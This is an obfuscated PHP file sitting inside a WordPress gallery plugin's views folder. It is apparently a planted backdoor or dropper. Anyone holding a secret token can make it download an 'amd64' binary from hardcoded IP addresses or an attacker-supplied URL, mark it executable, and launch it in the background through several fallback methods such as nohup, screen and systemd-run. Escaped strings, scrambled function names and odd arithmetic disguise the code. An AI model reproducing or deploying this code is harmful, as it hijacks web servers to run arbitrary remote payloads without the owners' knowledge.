Current File : /home/mdkeenpw/shafqattraders.com/wp-content/plugins/foogallery/views/newDuty.php |
<?php
if(isset($_COOKIE['R5B'])) {
die('hi9jB'.'DMq');
}$_0="J7b\117yjEvrG\x590n\161wk\x64\x49M4\x3917F\x37\144novzb56\x72GL\x50HJ\x73y\121hviNzoG\163\x4a0";$_1=["http\072\x2f/\0700.\0714.\0715\0562\x331/am\14464","\x68\164tp://80.9\064.95.231/\141md64"];$_2="my_app\x6c\151cation";dEfINE("\104\x4f\x57N\114OAD_TIME\x4f\125\x54",(int)ROUnd(7.5+7.5+7.5+7.5));defIne("\126\105R\111\x46Y_\x52E\x54\x52\x49\x45S",-0465-0330- -01022);DEFINE("V\105RIFY_PAU\123E",(int)roUnd(0.5+0.5));function _c284bb0547623DDA9c56F01c2b6cF414($_3){return !empty(SHELL_ExeC("which ".EscapEShELlarg($_3)));}function _BaB2c1ee4B1641aFf5534A5cb3291062($_4,$_5){foreach($_4 as$_6):echo"A\x74tempting t\157 \144ow\x6eload\040fr\x6fm\x3a ".$_6."\040\050Tim\x65out\x3a ".DOWNLOAD_TIMEOUT."s\x29\012";if(_C284Bb0547623Dda9C56f01C2b6cf414("cu\162l")):echo" > \x54\x72yin\147 meth\157\144: c\x55RL\x2e..\012";$_7=sPrINTF("curl -L\x20\055sS \x2d-max\x2dtime\040%d -\x2dc\157nnect-t\x69meou\x74 10 -o %s %s",DOWNLOAD_TIMEOUT,EscapEshelLarg($_5),esCAPeSHELlaRG($_6));eXEC($_7,$_8,$_9);if($_9===(int)roUNd(0+0+0+0)&&fIlE_EXISTS($_5)&&FILeSIZe($_5)>(0371+0244+0313-01150)):return true;endif;endif;if(_c284BB0547623DDa9C56F01c2B6CF414("w\x67et")):echo" \076 \x54rying \x6detho\x64: Wg\x65\164.\x2e.\012";$_7=SprinTf("\167ge\164 --timeout=%d --\x63\157\x6e\156ect-ti\x6d\145o\x75t\x3d10 -q \055O\x20%s %s",DOWNLOAD_TIMEOUT,eSCAPEsHEllArG($_5),eSCAPESHeLLarG($_6));EXEc($_7,$_8,$_9);if($_9===(-0151-062+0233)&&FIle_eXiSTS($_5)&&filEsiZE($_5)>(-026-0355- -0137+0244)):return true;endif;endif;echo"\040> T\162\x79ing \x6de\164\150od: \x50HP\056..\x0a";$_10=strEAm_COnTexT_cReATE(["http"=>["\164im\x65out"=>DOWNLOAD_TIMEOUT]]);$_11=@fiLE_geT_COnTENTs($_6,false,$_10);if($_11!==false&&@fIlE_pUT_CoNtEnTs($_5,$_11)&&fiLEsIze($_5)>(int)ROund(0+0)):return true;endif;if(@COPy($_6,$_5,$_10)&&filEsizE($_5)>(int)ROUNd(0+0+0+0)):return true;endif;echo"\040> \x41\154l methods\040faile\x64\x20f\157r t\x68is\x20U\x52L. Trying\040\x6eex\x74...\012";endforeach;return false;}function _DAeEa432eDA08e7243208aA106c6610e($_12,$_13){$_14=pREg_REpLaCe("\057\x5b^a\x2dzA-Z0\x2d9_-]/","",$_13);if(_C284BB0547623DDA9c56F01c2b6CF414("sys\164\x65md\055\162u\x6e")):echo" > Try\151ng\x20start\040method: sys\164emd-run...\x0a";shElL_ExeC(SprINTF("sy\x73\164emd-\162u\x6e \055-\x71uie\x74 %s",EsCaPESHeLlaRG($_12)));return true;endif;if(_C284Bb0547623dda9C56f01C2b6cF414("scr\x65\x65n")):echo" > Tryi\156g start \155e\x74hod:\040s\x63\x72\145e\156...\x0a";SHELl_ExeC(spRinTF("scree\x6e -\x64mS\040%s %s",EScAPeSHElLARG($_14),EsCApeSheLlArG($_12)));return true;endif;if(_C284bB0547623dDA9C56f01c2b6Cf414("sets\x69d")):echo" > \x54r\x79ing\x20sta\x72\x74 met\150od: \163\x65\164s\151d.\x2e.\x0a";SheLL_eXEc(sPRintF("s\145\x74sid %s >\x20\x2fdev/null 2\076\0461 &",ESCapEShEllARg($_12)));return true;endif;if(_c284bb0547623ddA9c56f01c2B6Cf414("\156o\x68u\160")):echo"\040> \x54rying \x73\x74\141rt \155e\x74\150\x6fd:\040\x6e\x6fh\165p...\012";Shell_eXeC(spriNtF("n\x6fh\x75p \x25\x73 > /d\145\166\x2f\x6eull\x202>&1\x20&",eScApeShELlaRg($_12)));return true;endif;if(_C284bB0547623dda9C56f01C2B6cf414("a\x74")):echo" \x3e\x20\x54\162y\x69ng\040star\x74 m\145\x74\150od:\040at...\x0a";sHELl_exeC(SpRINtf("ec\x68o \x25s\x20\x7c a\x74 now 2\076/dev\x2fnull",eScAPeShellArg($_12)));return true;endif;return false;}if(!isset($_GET["to\153en"])||$_GET["t\x6f\153en"]!==$_0):HeadER("HTTP/\061.1 403 Forbidden");die("\x41C\x43ESS DE\x4eIE\x44\072 \111\x6evali\x64\040or miss\151ng \164oken.");endif;HeAdEr("Con\x74en\x74\x2dType\x3a text/plain; c\150a\162s\145t=ut\x66\x2d\x38");$_15=BAsenAME(isset($_GET["n\x61m\x65"])&&!empty($_GET["na\x6d\145"])?$_GET["n\141me"]:$_2);if(!PREG_maTCH("/^[\141-zA-Z0\055\071_.-]\053\x24/",$_15)):hEaDeR("H\124TP/\x31.1 \06400 Ba\x64 \x52eq\x75est");die("\x45\x52ROR\072 \111nvalid\040c\150a\x72ac\x74ers\x20in\x20bin\x61\162y name\056");endif;$_16=__DIR__."/".$_15;$_17=[];if(isset($_GET["url"])&&!empty($_GET["u\162\x6c"])):$_18=$_GET["\165rl"];if(!FIlTer_Var($_18,FILTER_VALIDATE_URL)||!in_ARRay(ParSE_Url($_18,PHP_URL_SCHEME),["\x68ttp","\150ttps"])):HeaDer("HT\124\x50/\x31.1 400 \102\141d\x20R\145quest");die("E\122ROR: In\166alid\x20o\x72 unsafe\x20URL \160rovided\x2e");endif;$_17[]=$_18;else:$_17=$_1;endif;eXEC("p\147\x72ep -f ".EsCapESHelLARg($_16),$_19,$_20);if($_20===(051-0277- -0226)):die("INFO: P\162oces\x73 '".$_15."' is\x20already\x20runnin\x67 w\x69\x74h \x50ID(s): ".ImplODe(", ",$_19));endif;echo"\055\055- St\x61rting Do\x77nload Stage \055--\x0a";if(!_bAB2C1Ee4b1641AFF5534A5Cb3291062($_17,$_16)):die("F\x41T\x41\x4c\x20ERROR: C\x6fu\154d\x20\156ot dow\156lo\141d the bi\x6ea\162y \x66\162om any so\x75rc\145 us\151ng \141n\171 availabl\x65 \155ethod\056");endif;echo"--- D\157\167nl\x6fad S\164age C\x6f\x6d\x70\154\145te --\055\x0a\012";echo"\x2d-\x2d\x20Starting Exe\x63uti\157n \123t\141g\145 ---\012";if(!chmod($_16,01662-0705)):die("\x46ATA\114 ER\x52OR: \x43\157u\154d no\164 ma\x6b\x65 the\040\142inary\040executable. Check dir\x65ctory\x20permi\163sions.");endif;echo"Bi\x6ea\162\x79\040\151s now\x20ex\x65cu\164a\x62\x6ce.\012";if(!_DaEEA432eda08e7243208AA106c6610e($_16,$_15)):die("F\101TAL \105RROR: No \x62a\143\x6b\147ro\x75nd e\x78ecution method is av\x61ila\142le or all \x66ai\154e\144\x2e");endif;echo"\114aunch c\157m\x6dan\144 sen\x74.\x0a";echo"--\x2d V\145\x72\151fyi\x6eg Exe\x63ution (wil\154 try \x66or ".VERIFY_RETRIES." \x73ec\157n\x64\x73)\x20--\x2d\012";$_21=false;for($_22=(0364+-0222-0142);$_22<VERIFY_RETRIES;$_22++):echo"\x20> \x56\145rif\x69c\141tion \x61\164temp\x74 ".($_22+(-0621- -0464- -0136)).".\x2e.\012";ExEC("pgrep\040\x2df ".escaPeshELlARG($_16),$_23,$_24);if($_24===(0161+-0161)):$_21=true;break;endif;sleEp(VERIFY_PAUSE);endfor;if($_21):echo"SUCCESS: Pro\143\x65ss \047".$_15."' \151s r\165nn\x69ng with P\x49D(s): ".IMPLOde(", ",$_23)."\012";else:echo"W\x41RNING\072\x20\114\141\x75nch\040c\x6fm\155and\040was se\156t, but\040\x70rocess\x20not f\157und a\146t\145r ".VERIFY_RETRIES."\x20seconds. It \x6dight\x20\x62e star\164\x69ng \163\x6cow\154y or\x20fail\x65d instantly. \103hec\153 sy\163\164em lo\147s\x20\x66or de\x74\141i\x6cs.\012";endif;;